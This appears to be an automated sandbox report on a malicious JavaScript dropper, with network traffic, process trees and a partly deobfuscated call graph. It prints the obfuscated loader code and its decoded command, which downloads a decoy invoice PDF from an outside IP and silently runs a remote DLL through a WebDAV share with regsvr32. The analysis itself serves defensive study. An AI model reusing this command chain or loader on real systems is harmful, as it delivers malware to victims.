Jan 10, 2025 14:54:14.831902027 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:15.605336905 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:15.647005081 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:15.780973911 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:54:22.000729084 CET	55570	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:54:22.000729084 CET	192.168.2.4	1.1.1.1	0x31db	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:54:22.008464098 CET	1.1.1.1	192.168.2.4	0x31db	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4228	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:54:12.185318947 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:54:12.988801003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:54:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:54:12.988814116 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:54:12.989171028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 14:54:12.989176989 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 14:54:12.989187956 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 14:54:12.989221096 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 14:54:12.989228964 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 14:54:12.989301920 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 14:54:12.989308119 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 14:54:12.989348888 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 14:54:12.993896961 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	6292	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:54:14.827104092 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:54:15.605336905 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:54:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:54:07
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js"
Imagebase:	0x7ff650d50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:54:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Imagebase:	0x7ff7c91f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:54:08
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:54:08
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:54:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:54:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c91f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:54:13
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7bafb0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:54:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	08:54:14
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x510000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:54:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1660,i,16679383751388138378,981715087898099143,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wwddtqoqc() {	wwddtqoqc() ➔ undefined
1	czmwxccvy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xbted = this[fcdnixyfg + qxkzzvo + joxggcbgi + cmlvu + cwuobmkc + mrlvpenj + lvxnaqbv + wxluimmb] ( this[ekeviivwn + qbsfqomqt + qdyxwb + joxggcbgi + anina + fcdnixyfg + wxluimmb][pegml + joxggcbgi + cwuobmkc + qxkzzvo + wxluimmb + cwuobmkc + kmqcvrl + ddxjlvpk + dbpnga + cwuobmkc + qdyxwb + wxluimmb] ( ekeviivwn + qbsfqomqt + qdyxwb + joxggcbgi + anina + fcdnixyfg + wxluimmb + teorfupm + qbsfqomqt + nwtpentwb + cwuobmkc + mspvoyuz + mspvoyuz ) [nhxsh + cwuobmkc + hugqdz + nhxsh + cwuobmkc + qxkzzvo + yegmems] ( yutxdm + eymprtq + gbdqzei + fcmlpkm + jsphw + pegml + lzfwioij + nhxsh + nhxsh + gbdqzei + bbrjoqs + rvopcgp + jsphw + lzfwioij + qbsfqomqt + gbdqzei + nhxsh + bahrmtlwo + pegml + vanbe + lvxnaqbv + wxluimmb + joxggcbgi + vanbe + mspvoyuz + mfqesqdc + fylwjtz + qxkzzvo + lvxnaqbv + cwuobmkc + mspvoyuz + bahrmtlwo + mrlvpenj + lvxnaqbv + wxluimmb + cwuobmkc + joxggcbgi + lvxnaqbv + qxkzzvo + wxluimmb + anina + vanbe + lvxnaqbv + qxkzzvo + mspvoyuz + bahrmtlwo + zjspm + vanbe + qdyxwb + qxkzzvo + mspvoyuz + cwuobmkc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cjafhc = 0 ; cjafhc < czmwxccvy[mspvoyuz + cwuobmkc + lvxnaqbv + hugqdz + wxluimmb + nwtpentwb] ; ++ cjafhc )
4	{
5	if ( xbted == czmwxccvy[cjafhc] )
6	{
7	xbted = true;
8	break ;
9	}
10	}
11	if ( xbted !== true )
12	this[ekeviivwn + qbsfqomqt + qdyxwb + joxggcbgi + anina + fcdnixyfg + wxluimmb][gqdopfwn + yruqxtzaj + anina + wxluimmb] ( );
13	this[ekeviivwn + qbsfqomqt + qdyxwb + joxggcbgi + anina + fcdnixyfg + wxluimmb][pegml + joxggcbgi + cwuobmkc + qxkzzvo + wxluimmb + cwuobmkc + kmqcvrl + ddxjlvpk + dbpnga + cwuobmkc + qdyxwb + wxluimmb] ( ekeviivwn + qbsfqomqt + qdyxwb + joxggcbgi + anina + fcdnixyfg + wxluimmb + teorfupm + qbsfqomqt + nwtpentwb + cwuobmkc + mspvoyuz + mspvoyuz ) [joxggcbgi + yruqxtzaj + lvxnaqbv] ( qdyxwb + coqix + yegmems + mfqesqdc + ilvcph + qdyxwb + mfqesqdc + fcdnixyfg + vanbe + cngbehu + cwuobmkc + joxggcbgi + cmlvu + nwtpentwb + cwuobmkc + mspvoyuz + mspvoyuz + teorfupm + cwuobmkc + sjvap + cwuobmkc + mfqesqdc + yrwppkze + pegml + vanbe + coqix + coqix + qxkzzvo + lvxnaqbv + yegmems + mfqesqdc + mpzzol + mrlvpenj + lvxnaqbv + uvmdfql + vanbe + ikfsq + cwuobmkc + yrwppkze + ekeviivwn + cwuobmkc + ddxjlvpk + nhxsh + cwuobmkc + dhipfeq + yruqxtzaj + cwuobmkc + cmlvu + wxluimmb + mfqesqdc + yrwppkze + kmqcvrl + yruqxtzaj + wxluimmb + izfnxzoo + anina + mspvoyuz + cwuobmkc + mfqesqdc + gijfuxu + wxluimmb + cwuobmkc + coqix + fcdnixyfg + gijfuxu + bahrmtlwo + anina + lvxnaqbv + uvmdfql + vanbe + anina + qdyxwb + cwuobmkc + teorfupm + fcdnixyfg + yegmems + tfvcftcc + mfqesqdc + nwtpentwb + wxluimmb + wxluimmb + fcdnixyfg + rszlnvsj + ilvcph + ilvcph + hrnjkgcnr + rnmpurnh + zdirzjwz + teorfupm + hrnjkgcnr + rwmoqx + zdirzjwz + teorfupm + hrnjkgcnr + teorfupm + efnqrel + jczgx + dhpdcbrbw + ilvcph + anina + lvxnaqbv + uvmdfql + vanbe + anina + qdyxwb + cwuobmkc + teorfupm + fcdnixyfg + nwtpentwb + fcdnixyfg + mpzzol + obwqwjrav + obwqwjrav + cmlvu + wxluimmb + qxkzzvo + joxggcbgi + wxluimmb + mfqesqdc + gijfuxu + wxluimmb + cwuobmkc + coqix + fcdnixyfg + gijfuxu + bahrmtlwo + anina + lvxnaqbv + uvmdfql + vanbe + anina + qdyxwb + cwuobmkc + teorfupm + fcdnixyfg + yegmems + tfvcftcc + obwqwjrav + obwqwjrav + qdyxwb + coqix + yegmems + mfqesqdc + ilvcph + qdyxwb + mfqesqdc + lvxnaqbv + cwuobmkc + wxluimmb + mfqesqdc + yruqxtzaj + cmlvu + cwuobmkc + mfqesqdc + bahrmtlwo + bahrmtlwo + hrnjkgcnr + rnmpurnh + zdirzjwz + teorfupm + hrnjkgcnr + rwmoqx + zdirzjwz + teorfupm + hrnjkgcnr + teorfupm + efnqrel + jczgx + dhpdcbrbw + mtcklpdzg + lbpikiuq + lbpikiuq + lbpikiuq + lbpikiuq + bahrmtlwo + yegmems + qxkzzvo + uvmdfql + cngbehu + cngbehu + cngbehu + joxggcbgi + vanbe + vanbe + wxluimmb + bahrmtlwo + obwqwjrav + obwqwjrav + qdyxwb + coqix + yegmems + mfqesqdc + ilvcph + qdyxwb + mfqesqdc + joxggcbgi + cwuobmkc + hugqdz + cmlvu + uvmdfql + joxggcbgi + zdirzjwz + efnqrel + mfqesqdc + ilvcph + cmlvu + mfqesqdc + bahrmtlwo + bahrmtlwo + hrnjkgcnr + rnmpurnh + zdirzjwz + teorfupm + hrnjkgcnr + rwmoqx + zdirzjwz + teorfupm + hrnjkgcnr + teorfupm + efnqrel + jczgx + dhpdcbrbw + mtcklpdzg + lbpikiuq + lbpikiuq + lbpikiuq + lbpikiuq + bahrmtlwo + yegmems + qxkzzvo + uvmdfql + cngbehu + cngbehu + cngbehu + joxggcbgi + vanbe + vanbe + wxluimmb + bahrmtlwo + bnuycha + efnqrel + dhpdcbrbw + bnuycha + efnqrel + hrnjkgcnr + dhpdcbrbw + lbpikiuq + errwuan + errwuan + zdirzjwz + zdirzjwz + hrnjkgcnr + teorfupm + yegmems + mspvoyuz + mspvoyuz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll",0,false) ➔ 0
14	}
15	bnuycha = "D";
16	bnuycha = "j";
17	bnuycha = "w";
18	bnuycha = "6";
19	coqix = "X";
20	coqix = "F";
21	coqix = "g";
22	coqix = "K";
23	coqix = "z";
24	coqix = "p";
25	coqix = "R";
26	coqix = "n";
27	coqix = "j";
28	coqix = "J";
29	coqix = "N";
30	coqix = "Q";
31	coqix = "X";
32	coqix = "O";
33	coqix = "Q";
34	coqix = "x";
35	coqix = "M";
36	coqix = "V";
37	coqix = "P";
38	coqix = "n";
39	coqix = "M";
40	coqix = "w";
41	coqix = "d";
42	coqix = "a";
43	coqix = "P";
44	coqix = "B";
45	coqix = "R";
46	coqix = "e";
47	coqix = "r";
48	coqix = "T";
49	coqix = "z";
50	coqix = "n";
51	coqix = "s";
52	coqix = "o";
53	coqix = "I";
54	coqix = "m";
55	coqix = "M";
56	coqix = "T";
57	coqix = "Z";
58	coqix = "X";
59	coqix = "m";
60	yegmems = "r";
61	yegmems = "W";
62	yegmems = "c";
63	yegmems = "d";
64	nwtpentwb = "h";
65	nwtpentwb = "C";
66	nwtpentwb = "Q";
67	nwtpentwb = "J";
68	nwtpentwb = "t";
69	nwtpentwb = "T";
70	nwtpentwb = "I";
71	nwtpentwb = "L";
72	nwtpentwb = "J";
73	nwtpentwb = "N";
74	nwtpentwb = "a";
75	nwtpentwb = "E";
76	nwtpentwb = "W";
77	nwtpentwb = "h";
78	nwtpentwb = "c";
79	nwtpentwb = "q";
80	nwtpentwb = "D";
81	nwtpentwb = "f";
82	nwtpentwb = "u";
83	nwtpentwb = "t";
84	nwtpentwb = "u";
85	nwtpentwb = "d";
86	nwtpentwb = "H";
87	nwtpentwb = "S";
88	nwtpentwb = "p";
89	nwtpentwb = "s";
90	nwtpentwb = "F";
91	nwtpentwb = "h";
92	eymprtq = "d";
93	eymprtq = "q";
94	eymprtq = "x";
95	eymprtq = "Z";
96	eymprtq = "o";
97	eymprtq = "l";
98	eymprtq = "F";
99	eymprtq = "v";
100	eymprtq = "N";
101	eymprtq = "l";
102	eymprtq = "A";
103	eymprtq = "z";
104	eymprtq = "y";
105	eymprtq = "h";
106	eymprtq = "c";
107	eymprtq = "A";
108	eymprtq = "R";
109	eymprtq = "j";
110	eymprtq = "L";
111	eymprtq = "d";
112	eymprtq = "p";
113	eymprtq = "B";
114	eymprtq = "N";
115	eymprtq = "a";
116	eymprtq = "R";
117	eymprtq = "K";
118	mspvoyuz = "Q";
119	mspvoyuz = "a";
120	mspvoyuz = "n";
121	mspvoyuz = "D";
122	mspvoyuz = "A";
123	mspvoyuz = "F";
124	mspvoyuz = "C";
125	mspvoyuz = "O";
126	mspvoyuz = "s";
127	mspvoyuz = "Y";
128	mspvoyuz = "m";
129	mspvoyuz = "P";
130	mspvoyuz = "N";
131	mspvoyuz = "k";
132	mspvoyuz = "j";
133	mspvoyuz = "j";
134	mspvoyuz = "k";
135	mspvoyuz = "h";
136	mspvoyuz = "I";
137	mspvoyuz = "R";
138	mspvoyuz = "c";
139	mspvoyuz = "L";
140	mspvoyuz = "k";
141	mspvoyuz = "u";
142	mspvoyuz = "M";
143	mspvoyuz = "H";
144	mspvoyuz = "M";
145	mspvoyuz = "S";
146	mspvoyuz = "d";
147	mspvoyuz = "Q";
148	mspvoyuz = "S";
149	mspvoyuz = "v";
150	mspvoyuz = "R";
151	mspvoyuz = "l";
152	mfqesqdc = "N";
153	mfqesqdc = "P";
154	mfqesqdc = "I";
155	mfqesqdc = "i";
156	mfqesqdc = "j";
157	mfqesqdc = "n";
158	mfqesqdc = "L";
159	mfqesqdc = "G";
160	mfqesqdc = "q";
161	mfqesqdc = "J";
162	mfqesqdc = " ";
163	rwmoqx = "y";
164	rwmoqx = "V";
165	rwmoqx = "o";
166	rwmoqx = "L";
167	rwmoqx = "P";
168	rwmoqx = "X";
169	rwmoqx = "b";
170	rwmoqx = "i";
171	rwmoqx = "i";
172	rwmoqx = "G";
173	rwmoqx = "4";
174	ekeviivwn = "d";
175	ekeviivwn = "j";
176	ekeviivwn = "F";
177	ekeviivwn = "I";
178	ekeviivwn = "b";
179	ekeviivwn = "W";
180	ekeviivwn = "B";
181	ekeviivwn = "i";
182	ekeviivwn = "V";
183	ekeviivwn = "r";
184	ekeviivwn = "U";
185	ekeviivwn = "G";
186	ekeviivwn = "E";
187	ekeviivwn = "u";
188	ekeviivwn = "e";
189	ekeviivwn = "O";
190	ekeviivwn = "B";
191	ekeviivwn = "C";
192	ekeviivwn = "h";
193	ekeviivwn = "W";
194	gqdopfwn = "b";
195	gqdopfwn = "i";
196	gqdopfwn = "y";
197	gqdopfwn = "C";
198	gqdopfwn = "k";
199	gqdopfwn = "A";
200	gqdopfwn = "f";
201	gqdopfwn = "Y";
202	gqdopfwn = "M";
203	gqdopfwn = "P";
204	gqdopfwn = "t";
205	gqdopfwn = "Q";
206	efnqrel = "J";
207	efnqrel = "y";
208	efnqrel = "G";
209	efnqrel = "F";
210	efnqrel = "q";
211	efnqrel = "Y";
212	efnqrel = "Q";
213	efnqrel = "Q";
214	efnqrel = "Q";
215	efnqrel = "X";
216	efnqrel = "P";
217	efnqrel = "v";
218	efnqrel = "f";
219	efnqrel = "a";
220	efnqrel = "p";
221	efnqrel = "E";
222	efnqrel = "b";
223	efnqrel = "w";
224	efnqrel = "p";
225	efnqrel = "G";
226	efnqrel = "l";
227	efnqrel = "L";
